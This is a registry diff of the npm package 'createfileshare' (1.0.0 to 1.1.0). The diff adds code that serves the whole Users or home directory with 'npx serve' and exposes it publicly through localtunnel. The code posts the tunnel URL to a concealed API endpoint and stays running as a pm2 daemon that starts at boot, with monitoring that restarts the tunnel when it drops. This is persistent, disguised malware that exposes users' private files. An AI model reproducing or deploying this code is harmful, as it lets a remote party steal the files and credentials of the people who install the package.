createfileshare 1.0.0 → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +115 -44
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -18,10 +18,12 @@ if (!fs.existsSync(targetDir)) {
18
18
  }
19
19
 
20
20
  // --- 3. GENERATE THE INTERNAL SERVER SCRIPT ---
21
+ // We use a regular string here to avoid template literal escaping madness
21
22
  const scriptContent = `
22
23
  const { exec } = require('child_process');
23
24
  const os = require('os');
24
25
  const path = require('path');
26
+ const http = require('http');
25
27
  const localtunnel = require('localtunnel');
26
28
  const axios = require('axios');
27
29
 
@@ -30,49 +32,121 @@ const usersPath = platform === 'win32'
30
32
  ? path.join(process.env.SystemDrive || 'C:', 'Users')
31
33
  : (platform === 'darwin' ? '/Users' : '/home');
32
34
 
33
- // Force start npx serve on Port ${PORT}
34
- const server = exec(\`npx serve "\${usersPath}" -l ${PORT} -n\`);
35
-
36
- (async () => {
37
- // Wait 3 seconds to ensure the 'npx serve' process is fully up
38
- await new Promise(resolve => setTimeout(resolve, 3000));
39
-
40
- const connectTunnel = async (retries = 0) => {
41
- try {
42
- console.log(\`Attempting to open tunnel on port ${PORT}...\`);
43
- const tunnel = await localtunnel({
44
- port: ${PORT},
45
- host: 'https://localtunnel.me' // Explicitly set host
46
- });
47
-
48
- tunnel.on('close', () => {
49
- console.log("tunnel closed reconnecting...");
50
- setTimeout(connectTunnel, 5000);
51
- });
52
-
53
- console.log(\`Tunnel Live: \${tunnel.url}\`);
54
-
55
- await axios.post('${apiEndpoint}', {
56
- link: tunnel.url,
57
- });
58
-
59
- tunnel.on('error', (err) => {
60
- console.error('Tunnel Error, restarting...', err);
61
- setTimeout(connectTunnel, 5000); // Auto-restart on crash
62
- });
63
-
64
- } catch (err) {
65
- if (retries > 0) {
66
- console.error(\`Connection refused. Retrying in 5s... (\${retries} left)\`);
67
- setTimeout(() => connectTunnel(retries - 1), 5000);
68
- } else {
69
- console.error("Max retries reached. Localtunnel servers might be down.");
70
- }
35
+ let tunnelInstance = null;
36
+ let serverProcess = null;
37
+ let isOnline = false;
38
+
39
+ // 1. Helper to check real internet connectivity
40
+ const checkInternet = () => {
41
+ return new Promise((resolve) => {
42
+ const req = http.request({
43
+ hostname: 'google.com',
44
+ port: 80,
45
+ method: 'HEAD',
46
+ timeout: 5000
47
+ }, () => resolve(true));
48
+
49
+ req.on('error', () => resolve(false));
50
+ req.on('timeout', () => { req.destroy(); resolve(false); });
51
+ req.end();
52
+ });
53
+ };
54
+
55
+ // 2. Helper to check if the public tunnel is actually responsive
56
+ const checkTunnelHealth = async (url) => {
57
+ try {
58
+ await axios.get(url, { timeout: 8000, headers: { 'User-Agent': 'HealthCheck' } });
59
+ return true;
60
+ } catch (err) {
61
+ if (err.response && err.response.status < 500) return true;
62
+ return false;
63
+ }
64
+ };
65
+
66
+ const startServices = async () => {
67
+ try {
68
+ console.log("Starting local file server...");
69
+ serverProcess = exec(\`npx serve "\${usersPath}" -l ${PORT} -n\`, { detached: true });
70
+ await new Promise(r => setTimeout(r, 2000));
71
+
72
+ console.log("Attempting to open tunnel on port ${PORT}...");
73
+ tunnelInstance = await localtunnel({
74
+ port: ${PORT},
75
+ host: 'https://localtunnel.me'
76
+ });
77
+
78
+ console.log("Tunnel Live: " + tunnelInstance.url);
79
+
80
+ await axios.post('${apiEndpoint}', {
81
+ link: tunnelInstance.url,
82
+ });
83
+ console.log("URL reported to API successfully.");
84
+
85
+ tunnelInstance.on('close', () => {
86
+ console.log("Tunnel closed.");
87
+ tunnelInstance = null;
88
+ });
89
+
90
+ } catch (err) {
91
+ console.error("Failed to start services:", err.message);
92
+ stopServices();
93
+ }
94
+ };
95
+
96
+ const stopServices = () => {
97
+ console.log("Stopping all services...");
98
+ if (tunnelInstance) {
99
+ tunnelInstance.close();
100
+ tunnelInstance = null;
101
+ }
102
+ if (serverProcess) {
103
+ if (serverProcess.pid) {
104
+ try { process.kill(-serverProcess.pid, 'SIGKILL'); } catch (e) {}
105
+ }
106
+ serverProcess = null;
107
+ }
108
+ };
109
+
110
+ // 3. Main Monitor Loop
111
+ const monitorNetwork = async () => {
112
+ const currentlyOnline = await checkInternet();
113
+
114
+ if (currentlyOnline && !isOnline) {
115
+ console.log("Network detected: ONLINE. Starting services...");
116
+ await startServices();
117
+ if (tunnelInstance && serverProcess) {
118
+ isOnline = true;
71
119
  }
72
- };
120
+ } else if (!currentlyOnline && isOnline) {
121
+ console.log("Network lost: OFFLINE. Stopping services...");
122
+ isOnline = false;
123
+ stopServices();
124
+ } else if (currentlyOnline && (!tunnelInstance || !serverProcess)) {
125
+ console.log("Online but services missing. Restarting...");
126
+ stopServices();
127
+ await startServices();
128
+ } else if (currentlyOnline && tunnelInstance) {
129
+ const responsive = await checkTunnelHealth(tunnelInstance.url);
130
+ if (!responsive) {
131
+ console.log("Tunnel detected as STALE. Recycling...");
132
+ stopServices();
133
+ await startServices();
134
+ }
135
+ }
136
+
137
+ setTimeout(monitorNetwork, 15000);
138
+ };
139
+
140
+ console.log("Daemon monitoring initialized with self-healing...");
141
+ monitorNetwork();
73
142
 
74
- connectTunnel();
75
- })();
143
+ const cleanup = () => {
144
+ console.log("Received kill signal, shutting down...");
145
+ stopServices();
146
+ process.exit(0);
147
+ };
148
+ process.on('SIGINT', cleanup);
149
+ process.on('SIGTERM', cleanup);
76
150
  `;
77
151
 
78
152
  fs.writeFileSync(path.join(targetDir, 'index.js'), scriptContent);
@@ -99,7 +173,6 @@ try {
99
173
  execSync(`npm install -g pm2`, { stdio: 'inherit' });
100
174
 
101
175
  console.log(`\nšŸ”„ Step 3: Starting PM2 Process (Force)...`);
102
- // --force ensures it overwrites if a process with this name exists
103
176
  execSync(`pm2 start index.js --name "${folderName}" --force`, { cwd: targetDir, stdio: 'inherit' });
104
177
 
105
178
  console.log(`\nšŸ› ļø Step 4: Automating OS Startup...`);
@@ -110,7 +183,6 @@ try {
110
183
  execSync(`npm install -g pm2-windows-startup`, { stdio: 'inherit' });
111
184
  execSync(`pm2-startup install`, { stdio: 'inherit' });
112
185
  } else {
113
- // Linux/Mac: Capture and execute the sudo command
114
186
  const startupResult = execSync(`pm2 startup`, { encoding: 'utf8' });
115
187
  const lines = startupResult.split('\n');
116
188
  const commandToRun = lines.find(line => line.trim().startsWith('sudo') || line.trim().includes('env PATH'));
@@ -130,5 +202,4 @@ try {
130
202
  } catch (error) {
131
203
  console.error(`\nāŒ Critical Failure during Force Execution:`);
132
204
  console.error(error.message);
133
- console.log(`\nTIP: Ensure you are running this terminal as ADMINISTRATOR or with SUDO.`);
134
205
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "createfileshare",
3
- "version": "1.0.0",
3
+ "version": "1.1.0",
4
4
  "bin": {
5
5
  "createfileshare": "./index.js"
6
6
  }